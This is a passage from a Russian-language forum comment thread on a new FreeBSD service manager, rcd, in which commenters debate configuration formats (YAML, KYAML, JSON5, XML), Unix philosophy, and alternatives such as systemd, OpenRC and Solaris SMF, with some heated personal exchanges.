изобретены, либо, если им так не хочется > изобретать свой формат, взяли бы чужой, по типу sexp. Оуууу... чот везет мне на малограмотных нонча. Дитятко - кубик - есть развитие google'овского Borg, у которого был вот собственный BCL. "Пробовали - не понравилось", так что ты лучше к машине времени не подходи, а то еще на-со-ве-ту-ешь.
	Ответить | Правка | Наверх | Cообщить модератору

	206. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 12:34
	>Ну, странно было бы предлагать Давайте конкретику, без всей этой воды. >Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год Вы барабан крутите или как? Откуда вдруг 2014 взялся? Вы мысли умеете формулровать, или какое число всплыло в вашей памяти, такое вы написали? >Оно удобно. Оно настолько удобно, что изобрели свой собственный NIH. >"Пробовали - не понравилось" Вы продолжаете пытаться придумать самый глупый комментарий? >ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ Объясните мне, что мне мешает открыть kyaml файл и вписать туда обычный yaml?
	Ответить | Правка | Наверх | Cообщить модератору

	209. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:07
	>>Ну, странно было бы предлагать > Давайте конкретику, без всей этой воды. Робот, позови человека! >>Оу. И правда. Ну, найдете машину времени - метнитесь в 2014 год > Вы барабан крутите или как? Откуда вдруг 2014 взялся? Вы мысли умеете > формулровать, или какое число всплыло в вашей памяти, такое вы написали? Вы читать умеете или вот "Китайская комната"? Это - буквально - ответ на ваш вопрос: > Может для начала задаться вопросом, а откуда вообще в проекте взялся yaml? Вот оттуда и взялся. В 2014 еще году. >>Оно удобно. > Оно настолько удобно, что изобрели свой собственный NIH. Ну, т.е. JSON5 - IH, Kyaml - NIH, ясно-понятно. >>"Пробовали - не понравилось" > Вы продолжаете пытаться придумать самый глупый комментарий? Я уже признал вашу победу, чего вы? Впрочем, похвалю - у вас отлично получается, продолжайте! >>ОНО НЕ ЛОМАЕТ СУЩЕСТВУЮЩУЮ ЭКОСИСТЕМУ > Объясните мне, что мне мешает открыть kyaml файл и вписать туда обычный > yaml? Ээээ... ну примерно то же, что не дает открыть json файл и накалякать туда // Вот-какой-я-молодец. Но вот проблемы с тем, чтобы скормить любому yaml парсеру kyaml файл - у вас не будет. И с обычным json - не будет. А json5 - внезапно! Будет. Ну вот и нахрен кому б такое счастье сдалось?
	Ответить | Правка | Наверх | Cообщить модератору

	211. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 13:20
	>Я уже признал вашу победу, чего вы? Пока что вы умудряетесь только кривляться. Сколько вам потребовалось времени, чтобы вспомнить про обратную совместимость? Для начала, определитесь зачем вообще создавался kyaml. Сразу же после этого подумайте, как это стыкуется с обратной совместимостью.
	Ответить | Правка | К родителю #209 | Наверх | Cообщить модератору

	212. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 13:28
	Иопт. Спасибо, но пожалуй уже хватит. Глубину-глубин и широту широт вы уже продемонстрировали, ничего полезного не сказали - а отвечать на DOS бессмысленными вопросами, ответ на которых не читают - как будто есть более приятное времяпрепровождение.
	Ответить | Правка | К родителю #211 | Наверх | Cообщить модератору

	214. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 13:38
	Знаете, а ведь я только начал. Если вы собираетесь спорить на технические темы, то убедитесь, что вы имеете хотя-бы минимальные знания, а то придётся сливаться из темы, сверкая пятками. И да, я всё ещё жду ответ, на поставленный вопрос.
	Ответить | Правка | К родителю #212 | Наверх | Cообщить модератору

	217. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 14:06
	> Знаете, а ведь я только начал. Если вы собираетесь спорить на технические > темы, то убедитесь, что вы имеете хотя-бы минимальные знания, а то > придётся сливаться из темы, сверкая пятками. И да, я всё ещё > жду ответ, на поставленный вопрос. Не, ну можете продолжать позориться, жалко что ли? Про "обратную совместимость" я вам написал во втором вот комментарии... но вы его не поняли, пока вас в лужу не натыкали. Про космических масштабов и космической глупости совет перейти на json5 - тоже ясно. Про ГЕНИАЛЬНУЮ ИДЕЮ написать с самого начала свой DSL вроде историю тоже напомнил - чо осталось-то? Выяснить, в каком месте дяди из гугля делали вам больно при попытке дописсывать, или что надо-то?
	Ответить | Правка | К родителю #214 | Наверх | Cообщить модератору

	218. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 14:17
	>Про "обратную совместимость" я вам написал во втором вот комментарии... Я вам сколько раз написал, что мысль надо развернуть? А вы до сих пор про "обратную совместимость" пишите. Сколько сообщений мне ждать ответ на вопрос "с какой целью создан kyaml и почему нельзя было оставаться на yaml"? >чо осталось-то? Для начала, ответьте на первый вопрос.
	Ответить | Правка | К родителю #217 | Наверх | Cообщить модератору

	227. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:22
	Вопрос не корректный. Планов по отказу от использования yaml - официально - нет. По этому - можно оставаться на обычном yaml, никто ж не мешает? За подробностями в KEP-5295, пункт номер 1 в GOALS: Specify a YAML dialect which is 100% compatible with existing parsers and tooling. Вот буквально - ПЕРВАЯ цель. Остальные надеюсь сумеете прочитать? И точно так же ПЕРВАЯ Non-goal: Introduce alternative configuration languages that are not compatible with existing tooling. Еще вопросы в стиле "Чому нi державною?!" будут?
	Ответить | Правка | К родителю #218 | Наверх | Cообщить модератору

	230. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 15:37
	>Specify a YAML dialect which is 100% compatible with existing parsers and tooling. Хорошо, следующий вопрос: а почему меня вообще должна влиять несовместимость yaml парсеров? >По этому - можно оставаться на обычном yaml, никто ж не мешает? Второй вопрос: как сохранение yaml способствует решению проблемы несовместимости парсеров? Вы не замечаете здесь никакого противоречия? >Еще вопросы в стиле Конечно будут. Например, чем отличается кириллица от латиницы?
	Ответить | Правка | К родителю #227 | Наверх | Cообщить модератору

	232. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 15:45
	Не-не-не. Пжди, моя очередь. Почему не JSON5\Custom DSL ДОШЛО наконец-то? Или надо - ну, не знаю? языком жестов изобразить?
	Ответить | Правка | К родителю #230 | Наверх | Cообщить модератору

	238. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:02
	>Почему не JSON5\Custom DSL ДОШЛО наконец-то? Вы опять бежите впереди паровоза. Kyaml это очередной костыль поверх yaml, который никоим образом не решает возникшую проблему. Ещё раз повторю вопрос: почему меня вообще должна волновать несовместимость yaml парсеров? Подсказать правильный ответ? Меня не должен волновать этот вопрос, поскольку использовать язык, к которому не смогли написать нормальный парсер - нельзя. Знаете какое правильное решение этой проблемы? Выкинуть yaml, и передавать напрямую json. Знаете в каком году можно было принять это решение? В 2009. Когда гугл выкатил свой велосипед? Сколько лет прошло? За время, прошедшее с релиза yaml 1.2, уже можно было не просто избавится от yaml под ноль, уже можно было полностью переписать на новый формат, и при том не спеша.
	Ответить | Правка | К родителю #232 | Наверх | Cообщить модератору

	240. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:08
	>[оверквотинг удален] > никоим образом не решает возникшую проблему. Ещё раз повторю вопрос: почему > меня вообще должна волновать несовместимость yaml парсеров? Подсказать правильный ответ? > Меня не должен волновать этот вопрос, поскольку использовать язык, к которому > не смогли написать нормальный парсер - нельзя. Знаете какое правильное решение > этой проблемы? Выкинуть yaml, и передавать напрямую json. Знаете в каком > году можно было принять это решение? В 2009. Когда гугл выкатил > свой велосипед? Сколько лет прошло? За время, прошедшее с релиза yaml > 1.2, уже можно было не просто избавится от yaml под ноль, > уже можно было полностью переписать на новый формат, и при том > не спеша. Оуууу... так написать "да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ?!!! И про yaml ваш я первый раз утром прочитал!!!" надо было еще постараться. Ди-тят-ко! yaml - НАДМНОЖЕСТВО json. Любой валидный парсер yaml этот самый json читает из коробки (А json5 - не читает, угадай, почему?) - и - вот сюрприиииз-то? Kubernetes этот самый json умеет понимать... не, врать не буду - первые версии не застал - но в 2016 уже мог, предполагаю что и в 14 тоже ). Иди уже уроки учи, а?
	Ответить | Правка | К родителю #238 | Наверх | Cообщить модератору

	241. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:13
	>да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ Вы не отвлекайтесь от темы. >yaml - НАДМНОЖЕСТВО json Прогресс. Теперь вы уже можете начать думать над тем, почему kyaml - это nih, а json5 - нет. >А json5 - не читает А где я утверждал обратное? У вас есть очень серьёзная проблема: чем активнее вы кривляетесь, тем меньше вы читаете текст, и тем больше додумываете от себя.
	Ответить | Правка | К родителю #240 | Наверх | Cообщить модератору

	243. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:15
	>>да я ваш kubernetes в глаза не видел! ЧО ВЫ КО МНЕ ПРИСТАЛИ > Вы не отвлекайтесь от темы. Эээээ... а смысл её обсуждать с тем, кто про неё - literally - НИЧЕГО не знает?
	Ответить | Правка | К родителю #241 | Наверх | Cообщить модератору

	247. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:27
	Опять намылились сверкая пятками уйти от исходной темы? Вы до сих пор так и не обосновали нужность kyaml.
	Ответить | Правка | К родителю #243 | Наверх | Cообщить модератору

	252. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 16:48
	> Опять намылились сверкая пятками уйти от исходной темы? Вы до сих пор > так и не обосновали нужность kyaml. Не-не-не, языком жестов я только послать могу. Надо?
	Ответить | Правка | К родителю #247 | Наверх | Cообщить модератору

	254. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (197), 11-Сен-26, 16:54
	Поздравляю с тем, что вы успешно расписались в своей некомпетентности.
	Ответить | Правка | К родителю #252 | Наверх | Cообщить модератору

	255. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 17:28
	> Поздравляю с тем, что вы успешно расписались в своей некомпетентности. Иди уже... Праздновпть
	Ответить | Правка | К родителю #254 | Наверх | Cообщить модератору

	120. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:05
	> В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. А как же стандарт в виде XML везде?)
	Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

	126. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (75), 10-Сен-26, 23:28
	> А как же стандарт в виде XML везде?) В каком "визде" ты видишь XML на вебе?
	Ответить | Правка | Наверх | Cообщить модератору

	132. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 00:16
	Ну как же, вот 20 лет назад все говорил что XML это самый стандартный стандарт, теперь такие же люди говоря за json, я прям второй раз поверить не готов :)
	Ответить | Правка | Наверх | Cообщить модератору

	145. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:27
	SGML был, есть и остаётся главным стандартом веба. А уж в виде HTML или XML -- это дело десятое.
	Ответить | Правка | Наверх | Cообщить модератору

	154. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 11-Сен-26, 06:24
	> Ну как же, вот 20 лет назад все говорил что XML это > самый стандартный стандарт, теперь такие же люди говоря за json, я > прям второй раз поверить не готов :) Ну, у json'а есть одно маааааленькое преимущество, в виде "наличия реализации" этого вот стандарта. А с xml, когда я последний раз проверял - в природе не было ни одной полной реализации.
	Ответить | Правка | К родителю #132 | Наверх | Cообщить модератору

	157. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 07:35
	Это конечно да, но теперь вон yaml какой то есть, и хз что ещё.
	Ответить | Правка | Наверх | Cообщить модератору

	198. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 11:58
	>> В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON. > А как же стандарт в виде XML везде?) От настолько стандартный - что даже в вебе с этим их XHR (XML HTTP REQUEST!) - задолбались и в контенте шлют что угодно - кроме, собственно, XML в 99% случаев. А так парсинг XNL ужасен и ресурсоемок. А если еще XSLT вспомнить - не факт что ты даже с расширенным сознанием вдуплишь как вооон то вообще работает на самом деле. Это точно - в конфигах надо, именно вот так? А, да, потом окажется что парсинг энтерпрайз фигни с всем этим - тормозит аки апокалиптец. И вот уже launchd и smf лихо городят - бинарные кеши с уже распаршеными значениями. И имеют радость с синхронизацией этого всего. Что несомненно упрощает администрирование и совсем не делает систему хрупкой и кривой.
	Ответить | Правка | К родителю #120 | Наверх | Cообщить модератору

	139. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (28), 11-Сен-26, 01:10
	Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал
	Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

	141. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (75), 11-Сен-26, 01:28
	> Он использует библиотеку для конфигов из базовой поставки FreeBSD. Он ничего не изобретал Мля, если он "ничего" не изобретал, то откуда появился этот очередной NIH формат и библиотека для него?
	Ответить | Правка | Наверх | Cообщить модератору

	149. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 05:30
	UCL изобрели раньше и кажется автор тут иногда тусуется в коментах.
	Ответить | Правка | Наверх | Cообщить модератору

	160. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от 123 (??), 11-Сен-26, 09:19
	JSON ужасен сам по своей природе, миру было бы легче, если бы его не существовало.
	Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

	187. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 11:39
	XML ещё хуже в разы, с json хоть как то жить можно.
	Ответить | Правка | Наверх | Cообщить модератору

	105. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 10-Сен-26, 21:25
	Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) догадается несколько позже)
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	201. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 11-Сен-26, 12:02
	> Затем, что у типовых форматов для конфигурации есть хорошо известные проблемы, не? > Правда в кастомном dsl они тоже будут... Но об этом сообщество(тм) > догадается несколько позже) А XKCD #927 они еще не посмотрели? Очень рекомендуется к просмотру.
	Ответить | Правка | Наверх | Cообщить модератору

	108. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от аноним анониму (?), 10-Сен-26, 21:37
	> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг файрвол nftables в линуксе, видимо, тоже не видели. а мне формат от бздешников кажется самым адекватным для конфига.
	Ответить | Правка | К родителю #2 | Наверх | Cообщить модератору

	113. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от User (??), 10-Сен-26, 21:47
	>> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли? > выросло поколение systemd-админов, которые не могут распарсить файл сложнее ini. конфиг > файрвол nftables в линуксе, видимо, тоже не видели. Ээээ... С ним так-то через json api работают, и в общем от трёх разных синтаксисов fw в linux много у кого подгорает)
	Ответить | Правка | Наверх | Cообщить модератору

	400. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 11:58
	> Ээээ... С ним так-то через json api работают, и в общем от > трёх разных синтаксисов fw в linux много у кого подгорает) помянутому поколению systemd-админов пофигу, через апи работает поделка которая для них источник обожествления без понимания устройства. А автор поделки обычно вообще ничего админить не умеет, решая все задачи reboot-reinstall.
	Ответить | Правка | Наверх | Cообщить модератору

	421. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (419), 13-Сен-26, 16:18
	>> Ээээ... С ним так-то через json api работают, и в общем от >> трёх разных синтаксисов fw в linux много у кого подгорает) > помянутому поколению systemd-админов пофигу, через апи работает поделка которая для них > источник обожествления без понимания устройства. Как минимум - конфиги sd выглядят компактными, простыми и визуально намного меньше мусора чем в вот этом вот счастье. Такой вот testimonials.
	Ответить | Правка | Наверх | Cообщить модератору

	424. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 16:35
	ну вот и подтверждение. источник обожествления без понимания.
	Ответить | Правка | Наверх | Cообщить модератору

6. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от Аноним (6), 10-Сен-26, 10:37
Это не UNIX-way.
Ответить | Правка | Наверх | Cообщить модератору

	17. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 11:03
	Почему?
	Ответить | Правка | Наверх | Cообщить модератору

	24. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от xsignal (ok), 10-Сен-26, 11:37
	Нарушены принципы kiss, ортогональности и децентрализации, теперь в FreeBSD тащат комбайн, "менеджер всего".
	Ответить | Правка | Наверх | Cообщить модератору

	36. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 12:41
	KISS это вообще из другой оперы. Остальных нарушений не видно. Это не менеджер, это просто запускалка сервисов и она даже не PID 1.
	Ответить | Правка | Наверх | Cообщить модератору

	37. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от xsignal (ok), 10-Сен-26, 12:44
	> Это не менеджер, это просто запускалка Как позиционировался systemd когда-то и к чему это пришло...
	Ответить | Правка | Наверх | Cообщить модератору

	56. "Для FreeBSD развивают новый системный менеджер rcd"	+10 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 14:34
	Про systemd это всегда было враньём.
	Ответить | Правка | Наверх | Cообщить модератору

	38. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от xsignal (ok), 10-Сен-26, 12:46
	> KISS это вообще из другой оперы "Эрик Рэймонд в своей книге The Unix Philosophy in One Lesson резюмирует философию UNIX как широко используемый принцип KISS" (Вики)
	Ответить | Правка | К родителю #36 | Наверх | Cообщить модератору

	55. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 14:34
	Если так понимать KISS, как его понимает Эрик, то обсуждаемый проект ему максимально соответствует. Нам надо запускать и менеджить сервисы -> самый простой способ решить эту проблему -- написать программу, которая будет запускать и менеджить сервисы.
	Ответить | Правка | Наверх | Cообщить модератору

	61. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от xsignal (ok), 10-Сен-26, 15:29
	> написать программу По принципу KISS - это самое последнее, что нужно делать.
	Ответить | Правка | Наверх | Cообщить модератору

	72. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 16:05
	Ну так всё остальное уже попробовали, получается не очень. Так что да, перешли к "самому последнему".
	Ответить | Правка | Наверх | Cообщить модератору

	166. "Для FreeBSD развивают новый системный менеджер rcd"	–4 +/–
	Сообщение от Аноним (197), 11-Сен-26, 10:02
	>Нарушены принципы kiss Никакого kiss никогда не существовало и существовать не может. >теперь в FreeBSD тащат комбайн, "менеджер всего" Потому, что все эти ваши kiss работают только в 90-ых, когда у вас самые примитивные задачи. А как только нужно что-то более сложное, чем считать упавшую программу запущенной, просто по наличию lock файла, то сложность shell портянок переходит все мыслимые пределы.
	Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

	188. "Для FreeBSD развивают новый системный менеджер rcd"	+5 +/–
	Сообщение от xsignal (ok), 11-Сен-26, 11:40
	> примитивные задачи Не задачи были примитивными, а решенения были простыми, потому что это делали гении IT. А сейчас до компьютеров дорвались профаны и превратили Linux и web в тарелку спагетти, поэтому и кажется, что всё стало сложно.
	Ответить | Правка | Наверх | Cообщить модератору

	199. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (197), 11-Сен-26, 12:00
	>Не задачи были примитивными, а решенения были простыми Ответьте, что проще микроволновка или костёр? Что можно разжечь в лесу подручными средствами, а что предложить ребёнку для того, чтобы подогреть еду? Только выберите один вариант. >поэтому и кажется Ыкспертиза. Мне вот не кажется, я - знаю.
	Ответить | Правка | Наверх | Cообщить модератору

	399. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от нах. (?), 13-Сен-26, 11:55
	> Ответьте, что проще микроволновка или костёр? Что можно разжечь в лесу подручными > средствами, а что предложить ребёнку для того, чтобы подогреть еду? Только да норм микроволновку можно разжечь, там обычно пластиковых деталей полно.
	Ответить | Правка | Наверх | Cообщить модератору

	451. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (-), 14-Сен-26, 00:44
	> да норм микроволновку можно разжечь, там обычно пластиковых деталей полно. Эксперт в треде, как обычно. То что они UL94 V0 скорее всего - как большая часть всей бытовухи как либо связанной с электричеством - он проинформировать себя забыл. Ты UL94 V0 пластик жечь - заманаешься в край. Вот если ты вокруг него костер ацкий разведешь, он конечно обуглится и истлеет постепенно. Но это еще подолбаться придется, конкретно так. А разжечь его... ммм... ну попробуй как-нибудь :)
	Ответить | Правка | Наверх | Cообщить модератору

	447. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (447), 13-Сен-26, 22:47
	Небось системдэ в линуксе это юниксвэй?
	Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

8. "Для FreeBSD развивают новый системный менеджер rcd"	+8 +/–
Сообщение от мяв (?), 10-Сен-26, 10:38
спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
Ответить | Правка | Наверх | Cообщить модератору

	33. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (33), 10-Сен-26, 12:21
	Чтоб было своё!
	Ответить | Правка | Наверх | Cообщить модератору

	43. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от Аноним (43), 10-Сен-26, 13:12
	Обратная совместимость с прошлой системой, плюс гибкость под свои нужды, очевидно
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	67. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (67), 10-Сен-26, 15:57
	Не взлетело. Так-то уже были 2 порта launchd, InitWare и ещё думали о переходе на nosh. В итоге решили, что это всё перестановка кроватей и даже доказали, что смена системы инициализации на время загрузки системы влияет слабо. В общем, тут консервативный подход победил.
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	83. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 10-Сен-26, 17:41
	> спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ? Этот чел имеет довольно большой вес в фряхе и давно уже пытается воплотить популярные концепты линукса, но чтоб было всё "своё", хотя не понятно чем ему не угодил ОпенРЦ с совместимой лицухой и теми же фичами
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

	93. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (92), 10-Сен-26, 20:31
	> чем ему не угодил ОпенРЦ NIH.
	Ответить | Правка | Наверх | Cообщить модератору

	121. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 22:08
	Как минимум тем что он не умеет читать те rc.d файлы что уже есть.
	Ответить | Правка | К родителю #83 | Наверх | Cообщить модератору

	186. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от OpenEcho (?), 11-Сен-26, 11:39
	> Как минимум тем что он не умеет читать те rc.d файлы что уже есть. Make sense 👍
	Ответить | Правка | Наверх | Cообщить модератору

	372. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (372), 13-Сен-26, 01:25
	> спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ? Затем что в сабже всегда клали на кооп, особенно со всякими там линуксоидами. Да и с остальными бсд заодно. А вы думали что они просто так попали в то состояние в котором они пребывают? А вот и нет. Они всегда клали и на линухи и на другие бсд и глупости типа совместимости с ними.
	Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

12. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от manchelsi (ok), 10-Сен-26, 10:43
> Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d Когда-то и systemd так поступал с init.d, а теперь WARNING DEPRECATED
Ответить | Правка | Наверх | Cообщить модератору

	220. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (220), 11-Сен-26, 14:41
	И сколько лет варнинг остаётся варнингом?
	Ответить | Правка | Наверх | Cообщить модератору

	276. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (276), 11-Сен-26, 20:13
	Всё, начиная с 260 дропнули поддержку.
	Ответить | Правка | Наверх | Cообщить модератору

	373. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 13-Сен-26, 01:30
	> И сколько лет варнинг остаётся варнингом? Вот как раз на днях задропали - поддержку генерации юнитов sd из sysv файлов и прочий compat типа runlevels. Таки у s-d намного крутые и гибкие концепции "target". Их может быть сколько надо - и под довольно разные цели. Runlevels вообще - весьма дубовые. И если вам оно не подошло - упс, а это прибито на гвозди и что хотите то и делайте. Т.е. городите фееричные костыли. Таргетами можно сделать больше "состояний системы", более разных. А, ну да, граждане концептуалы о том что это может быть полезно - догадаются еще лет через ...цать. Может быть. Но это не точно.
	Ответить | Правка | К родителю #220 | Наверх | Cообщить модератору

13. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 10:46
В Solaris говорят хороший инициализатор, интересно равняются ли на него?
Ответить | Правка | Наверх | Cообщить модератору

	16. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (16), 10-Сен-26, 10:58
	Лучше б не говорили.
	Ответить | Правка | Наверх | Cообщить модератору

	20. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 11:23
	> Лучше б не говорили. Почему?
	Ответить | Правка | Наверх | Cообщить модератору

	65. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (90), 10-Сен-26, 15:39
	А что Upstart? Гугель вон до сих пор его использует.
	Ответить | Правка | К родителю #16 | Наверх | Cообщить модератору

	277. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (276), 11-Сен-26, 20:21
	Гугель ещё в прошлом году сказал, что будет делать ChromeOS на базе Android. То есть, правильнее сказать, что пока ещё использует.
	Ответить | Правка | Наверх | Cообщить модератору

	374. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 01:31
	> А что Upstart? Гугель вон до сих пор его использует. Апсрат он. Для эксплуатации абсолютно не годится - удачи в нем стартануть ЗА софтиной которая вам нужна для вашей корректной работы, и чтоб так вписаться - ВАШИМИ конфигами без трогания конфигов других программ. А гугл что, у них фуксия уже захватывала мир. Им не привыкать.
	Ответить | Правка | К родителю #65 | Наверх | Cообщить модератору

	32. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
	Сообщение от Аноним (33), 10-Сен-26, 12:18
	SMF имеет большую функциональносить, и связан с управлением ресурсами (проектами) и RBAC в Solaris'е, просто взять  и перенести во FreeBSD не получится. К тому же его конфигурационный файл пишется на XML, а во FreeBSD XML не любят.
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	35. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от ф1231 (?), 10-Сен-26, 12:39
	и где сейчас ваш соларис?
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	47. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним10084 и 1008465039 (?), 10-Сен-26, 13:39
	> и где сейчас ваш соларис? Вдохновил современный инит в Линуксе
	Ответить | Правка | Наверх | Cообщить модератору

	375. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 01:33
	>> и где сейчас ваш соларис? > Вдохновил современный инит в Линуксе Там, к счастью, обошлись без XML и кеширования оного в какой там еще бинарный скулайт и заморочек с синхронизацией всего этого, или что там у них за брейнфак. А так то и контейнеры с cgroups наверное "по мотивам" тех или иных фич. А у сабжа и с cgroups - аналогично...
	Ответить | Правка | Наверх | Cообщить модератору

	163. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 11-Сен-26, 09:53
	Illumos
